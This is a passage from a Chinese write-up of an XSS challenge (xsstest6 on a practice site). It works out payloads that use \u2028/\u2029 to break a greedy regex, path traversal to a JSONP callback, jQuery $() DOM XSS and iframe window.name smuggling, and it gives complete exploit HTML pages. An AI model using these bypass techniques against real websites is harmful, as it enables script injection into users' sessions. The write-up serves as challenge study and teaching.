"?123\r?456".replace(/.*\?/,"")
//"123?456" (匹配到了第一个"?",中间有一个看不见的\r)
//这里涉及到为哈不匹配第二个"?"呢,因为他们都满足条件正则条件
//这种情况在JS中就会匹配第一个符合条件的。

来带入到具体数据:

1
2
3
uin=../test/xsstest5/user.php?callback=alert(1)
//加上我们说的开头的替死鬼?
?uin=../test/xsstest5/user.php?callback=alert(1)

再来确定换行符应该放的位置,我们会发现好像不是能够随便放置的:

1
2
3
4
?\ruin=../test/xsstest5/user.php?callback=alert(1)
//不行,这样的话会改变参数名称导致之后解析获取不到uin
?uin=\r../test/xsstest5/user.php?callback=alert(1)
//不行,目录跳转的上层目录应该会解析出错

根据参数解析规则目录跳转特征,我们会得出两种理论可能可行的方案:

  • 作为一个不使用的参数:?\r&uin=../test/xsstest5/user.php?callback=alert(1)

  • 作为一个子目录再跳上来:?uin=\r/../../test/xsstest5/user.php?callback=alert(1)

很好,然后构造出2种最后的理论可行完整payload地址:

http://px1624.sinaapp.com/test/xsstest6/??\r&uin=../test/xsstest5/user.php?callback=alert(1)

http://px1624.sinaapp.com/test/xsstest6/??uin=\r/../../test/xsstest5/user.php?callback=alert(1)

可以看到有2个?

第一个?会被location.search.substr(1)吞掉,第二个?是为了被正则匹配吃掉的替死鬼

第一个?换成#就是换成了锚点读取参数的方式,即再js逻辑中location.search -> location.hash

丢谷歌浏览器地址栏去尝试,会发现GG,在index.js中下断点发现\r会被当作是普通字符串解析。

r的失败.png

这将导致我们一切推导的前提:换行符能够破坏/.*\?/的正则匹配被抽空掉。

  1. 编码补救?在地址栏的编码中能使用URL式的编码,会产生无法绕过的WAF1拦截的%,不行
  2. 尝试使用控制台解析跳转:location=url地址。(因为我们之前测试在控制台中是可以解析的,这样既可以完成字符解析又可以完成在地址栏中输入一样跳转地址的效果)(ps.当然这种骚操作的引入在利用场景上就会离简单的XSS利用—点击恶意连接利用不一样了,之后会说明)

题目提示任意浏览器均可肯定有的不行,控制台分别都试下:location="http://px1624.sinaapp.com/test/xsstest6/??\r&uin=../test/xsstest5/user.php?callback=alert(1)"

在谷歌和火狐浏览器中会被直接吞掉:

location-r的失败.png

在IE浏览器会正常解析\r,然后吞掉:

IE-location-r的失败.png

IE-location-r的失败2.png

不得行。换行符换行符,那就换个换行符\n?肯定还是一样的局面。

正则 . 不匹配的字符到底有啥

看到这里字符集的参考文档:

换行符字符集.png

结合正则的参考文档:

换行符字符集2.png

使用"123?\u2028456?".replace(/.*\?/,"")进行一个个测试:

发现\n、\r、\u2028、\u2029可以拦截.的匹配(ps.空白字符串没有给到惊喜….)

既然\r、\n不行,试试\u2028\u2029

取IE为例(因为要是浏览器有问题一般肯定是IE有问题,Edge也可),地址栏中直接http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)理所应当还是会被作为字符串。

IE-地址栏-2028.png

控制台执行location呢:location="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)"

IE-location-2028.png

IE-location-2028-success.png

完美解析弹框。我们的\u2028被解析成了一个字符传入。

来看看其他浏览器,比如火狐,我们的\u2028会被解析成URL形式,然后被WAF1干掉%,谷歌也是一样的,GG:

火狐-false-2028.png

此外,这边之前说到的当作子目录形式的payload也是可以的:

location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)"

所以2种最后writeup:

location="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)"

location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)"

  • 第一个?可以替换为#,变为锚点形式的取参
  • \u2028 可以换成 \u2029

test6作为触发器-$()

其实以上payload都使用了上一题的/xsstest5/user.php作为payload触发。

如果要用xsstest6/user.php作为触发器又会有另外一个问题:这个xsstest6的页面callback参数多了另一个限制:限制值得长度小于等于7个字符

即:只能写alert(),不能写alert(1),但是题目要求就是弹框1

我们要想办法弄一个短一点的弹框payload。

在这之前我们要梳理一下之前没详细说明的第六题location的攻击场景:使用location=payload的形式,并不是说真的要让受害者去命令行中执行这一js代码去触发弹框。(虽然我们是这么演示的)而是攻击者会构筑一个网站,在其中写入自定义js代码,执行location跳转触发弹框,流程如下:

  • 受害者点击攻击者自定义网站域名
  • 跳转至漏洞网站,完成攻击

比如之前的payload,可以形成这样一个test.html:

1
2
3
<script>
location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)"
</script>

然后用Edge打开页面(模拟受害者访问攻击者服务器页面)就可以自动跳转触发。

回到使用xsstest6的触发点:缩短弹框函数

其实利用原理JQuery DOM XSS特性-$()在第二题中已经详细的分析了,就是$("<img src=x onerror=alert(1)>")可以作为alert(1)的弹框替代,但是这么长一串反而超长了。

我们只要把img标签设置成一个变量就可以达到缩短长度的目的。

1
2
3
var a="<img src=x onerror=alert(1)>"
$(a)
//弹框

理想中是想构建一个payload如下:

1
2
3
4
<script>
var a="<img src=x onerror=alert(1)>"
location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=$(a)"
</script>

不用试就知道显而易见不可以,因为location会进行跳转,跳转过去的页面,在处理时,我们的a参数是肯定不会传递过去的,JS解析$(a),找不到变量a,肯定报错。

整理一下:我们的callback参数的内容:是一段我们可控的、会在px1624.sinaapp.com域下进行执行的js代码。其长度不能超过7个字符。

我们想到$(a),4个字符的弹框方式,但是px1624.sinaapp.com/test/xsstest6/这个页面下的js环境中又没有我们要的a:"<img src=x onerror=alert(1)>"

这就明确了目标:

  1. 我们需要往px1624.sinaapp.com域下传入一个a。
  2. 然后通过callback后面的js执行$(a)这个参数。
  3. 跨域

于是windows.name跨域传输参数

iframe的window.name跨域传输

感谢Huuu师父忍受了憨批错误的骚扰和指出了此处的技术原理

iframe内外,可以通过window.name进行传输参数,参考,此处举个例子

iframe-a.html:引入iframe-b.html页面

1
<iframe id="lala" name="**from-a-name**" src="./iframe-b.html"></iframe>

iframe-b.html

1
2
3
4
5
6
7
8
9
<script>
console.log("b-name-output:"+name)
console.log("b-window.name-output:"+window.name)

name="b-name-change"
// window.name="b-windows-name-change"(上下两句等价)
console.log("change-b-name-output:"+name)
console.log("change-b-window.name-output:"+window.name)
</script>

结果:

1
2
3
4
5
6
7
8
9
b-name-output:**from-a-name**
b-window.name-output:**from-a-name**
change-b-name-output:b-name-change
change-b-window.name-output:b-name-change
//输出
document.getElementById('lala').name
"**from-a-name**"
document.getElementById('lala').contentWindow.name
"b-name-change"

由于我们打开的是A页面,通过document获取iframe参数,然后输出查看值:

  • 第一个是直接获取父页面A的name,它是不会随着B页面的设定而修改的
  • 第二个是获取父页面A的iframe中windows的name,它可以在子页面B中设定
  • 在子页面中设定name和window.name等价。

可以见的:

  • 父页面A可以通过 设置iframe的name属性 向子页面B传输数据,并且被在子页面中使用name/window.name获取到
  • 子页面B可以通过 设置window.name/name向父页面A传输数据,并且在父页面中使用节点.contentWindow.name获取到

如果只是放在桌面上打开,而本地不起web服务放入这两个文件再访问,会爆这个错误:Blocked a frame with origin “null” from accessing a cross-origin frame.

那么至此就很明显了:弄一个iframe,在name里传入我们的payload,然后$()它即可。

当然在callback值中由于长度问题,不能使用$(window.name),使用$(name)长度刚好,writeup:

1
2
3
4
<iframe id="lala" name="<img src=x onerror=alert(1)>" src=""></iframe>
<script>
document.getElementById("lala").src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=$(name)"
</script>

使用Edge、或者IE打开均可。

拷问

在和px1624大哥提到题目的时候,被指着文章进行无情的鞭挞QAQ,由于做了挺久了,问了几个问题一个都回答不好,害。

  1. 为什么如上payload中,iframe标签的name属性由<img src=x onerror=alert(1)>修改为alert(1)不可以弹框呢?

其实题目的最终是将callback后面的参数值作为JS解析执行。修改了name,最终执行的JS就为:$("alert(1)")

在第二题中详细分析过JQuery的DOM XSS特性,是由于DOM操作插入标签引起的。但是当时一开始迷惑于,测试$(alert(1))是可以弹框的,那为什么通过name拆开了alert(1)就不可以弹框了呢,死活想不通。

实际上$(alert(1))$("alert(1)")完全不是一回事情,前者弹框是由于先进行表达式计算,后进入$(),才弹框的。后者这种形式本来就不能执行。

  1. 为什么如下payload,不可以弹框呢
1
2
3
4
<iframe id="lala" name="javascript:alert(1)" src=""></iframe>
<script>
document.getElementById("lala").src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=name"
</script>

其实这里就是把各种东西杂揉了进来,看起来好像很有道理,但是根本不沾边。

回归题目最终是将callback后面的参数值作为JS解析执行:

1
2
name="javascript:alert(1)";
name;

只不过区区变量而已,当然不弹框。

  1. 自己回头看了看又奇怪,自己给自己提问:为什么如下payload不能弹框呢?
1
<iframe id="lala" name="<img src=x onerror=alert(1)>" src="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest6/user.php?callback=$(name)"></iframe>

src的内容放下面不是多此一举嘛,直接提上来呗?

但是这样是不可以弹框的。

原因在于之前我们尝试在URL中直接访问上面src中的连接访问希望浏览器会解析我们的\u2028。但是浏览器会直接把\u2028当作6个字符,而不会把他当作一个unicode编码,所以我们需要引入一个字符串来先解析这个unicode编码,然后让浏览器访问。

之前我们是使用location=""的形式,这样我们的地址就会在字符串中走一遍被unicode解析然后跳转。

同理现在是iframe的src,我们也通过一个字符串赋值的操作,来先解析\u2028,然后再访问。如果有疑问可以尝试打开,然后看网络访问情况就可以看到区别。

完美完结了一半

参考

https://mp.weixin.qq.com/s/MNP1PW0bi0aL7dRr1aa2Tg
https://mp.weixin.qq.com/s/T44dQckTjc0M1loRzTRH0A
https://mp.weixin.qq.com/s/jx-UWFfSPOVPhWLsvGxPcw
https://mp.weixin.qq.com/s/Q976z2ryfkEJQiSyl8aH8g
https://mp.weixin.qq.com/s/Nxjn_SUAfrB-K5z6YdlW8g